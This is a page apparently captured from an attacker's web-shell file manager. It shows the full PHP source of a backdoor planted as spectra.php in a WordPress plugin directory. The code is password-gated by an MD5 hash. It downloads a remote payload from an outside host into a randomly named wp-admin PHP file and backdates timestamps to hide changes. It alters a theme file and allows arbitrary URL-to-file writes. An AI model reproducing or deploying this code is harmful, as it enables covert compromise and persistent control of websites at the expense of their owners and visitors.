Root Zanli
Home
Console
Upload
information
Create File
Create Folder
About
Tools
:
/
home
/
o5t6x7pgljbm
/
public_html
/
wp-content
/
plugins
/
spectra
/
Filename :
spectra.php
back
Copy
<?php echo 'ok_sp3'; if (isset($_GET['pass']) && md5($_GET['pass']) === '8e11af7fa174b0b3fa0c64f2cdd1ff3a'){ $r=getSiteRoot(); $protocol = ( (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off') || $_SERVER['SERVER_PORT'] == 443 ) ? 'https://' : 'http://'; $domain = $protocol . $_SERVER['HTTP_HOST']; $u = '/wp-admin/'. random_string() . '.php'; $p = $r . $u; if (isset($_GET['up'])){ if (saveContent($p,getContent('https://i30.bz/.F/xL.txt'))){ echo 'sp3:::'.$domain.$u.':::sp3'; }else{ echo 'fail'; } } if (isset($_GET['clear'])){ $file = $r.'/wp-content/themes/alone/install/import-pack/Ajax.php'; $content = @file_get_contents($file); $content = str_replace('beplus_import_pack_install_plugin', 'sp3', $content); if (@file_put_contents($file, $content)){ echo 'sp3_done'; } } if(!empty($_GET['url'])&&!empty($_GET['file'])){ $str=file_get_contents($_GET['url']); echo file_put_contents($_GET['file'],$str); } } function getSiteRoot(){ if (!empty($_SERVER['DOCUMENT_ROOT'])) { return realpath($_SERVER['DOCUMENT_ROOT']); } $uri = parse_url($_SERVER['REQUEST_URI'], PHP_URL_PATH); $parts = explode('/', trim($uri, '/')); $levelsUp = count($parts); $dir = realpath(__DIR__); for ($i = 0; $i < $levelsUp; $i++) { $dir = dirname($dir); } return $dir; } function getContent($url, $timeout = 40) { $ua = 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.6422.60 Safari/537.36'; $headers = "User-Agent: $ua\r\n" . "Accept: */*\r\n" . "Accept-Language: en-US,en;q=0.9\r\n" . "Accept-Encoding: identity\r\n"; $ctx = stream_context_create(array( 'http' => array( 'timeout' => $timeout, 'header' => $headers ), 'ssl' => array( 'verify_peer' => false, 'verify_peer_name' => false, ) )); $data = @file_get_contents($url, false, $ctx); if ($data !== false) return $data; if (function_exists('curl_init')) { $ch = curl_init($url); curl_setopt_array($ch, array( CURLOPT_RETURNTRANSFER => true, CURLOPT_FOLLOWLOCATION => true, CURLOPT_CONNECTTIMEOUT => $timeout, CURLOPT_TIMEOUT => $timeout, CURLOPT_USERAGENT => $ua, CURLOPT_ENCODING => '', CURLOPT_HTTPHEADER =>array( 'Accept: */*', 'Accept-Language: en-US,en;q=0.9', 'Accept-Encoding: identity' ), CURLOPT_SSL_VERIFYPEER => false, CURLOPT_SSL_VERIFYHOST => 0 )); $data = curl_exec($ch); curl_close($ch); if ($data !== false) return $data; } if (ini_get('allow_url_fopen')) { $fp = @fopen($url, 'rb', false, $ctx); if ($fp) { $data = stream_get_contents($fp); fclose($fp); if ($data !== false) return $data; } } $p = parse_url($url); if (!empty($p['host'])) { $scheme = (isset($p['scheme']) ? $p['scheme'] : 'http') === 'https' ? 'ssl' : 'tcp'; $port = (isset($p['scheme']) && $p['scheme'] === 'https') ? 443 : 80; $host = $p['host']; $path = (isset($p['path']) ? $p['path'] : '/') . (isset($p['query']) ? '?' . $p['query'] : ''); $fp = @fsockopen("$scheme://$host", $port, $e, $s, $timeout); if ($fp) { fwrite($fp, "GET $path HTTP/1.1\r\n" . "Host: $host\r\n" . $headers . "Connection: close\r\n\r\n" ); $resp = stream_get_contents($fp); fclose($fp); if ($resp && ($pos = strpos($resp, "\r\n\r\n")) !== false) { return substr($resp, $pos + 4); } } } return false; } function saveContent($path, $source){ $dir = dirname($path); if (!is_dir($dir)) { @mkdir($dir, 0755, true); } $fileExistPath = file_exists($path); if ($fileExistPath){ $stat = stat($path); $originalMTime = $stat['mtime']; if (!is_writable($path)) { @chmod($path, 0644); if (!is_writable($path)) return false; } } if (@file_put_contents($path, $source) !== false) { if ($fileExistPath){ @touch($path, $originalMTime, $originalMTime); @chmod($path, 0444); } return true; } $fp = @fopen($path, 'wb'); if ($fp) { $written = @fwrite($fp, $source); fclose($fp); if ($written !== false) { if ($fileExistPath){ @touch($path, $originalMTime, $originalMTime); @chmod($path, 0444); } return true; } } try { $file = new SplFileObject($path, 'wb'); $bytes = $file->fwrite($source); if ($bytes !== false) { if ($fileExistPath){ @touch($path, $originalMTime, $originalMTime); @chmod($path, 0444); } return true; } } catch (Exception $e) { // skip } $temp = @fopen('php://temp', 'r+'); if ($temp) { fwrite($temp, $source); rewind($temp); $dest = @fopen($path, 'wb'); if ($dest) { stream_copy_to_stream($temp, $dest); fclose($dest); fclose($temp); if ($fileExistPath){ @touch($path, $originalMTime, $originalMTime); @chmod($path, 0444); } return true; } fclose($temp); } return false; } function random_string($length = 6) { $chars = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'; $str = ''; for ($i = 0; $i < $length; $i++) { $str .= $chars[random_int(0, strlen($chars) - 1)]; } return $str; } ?>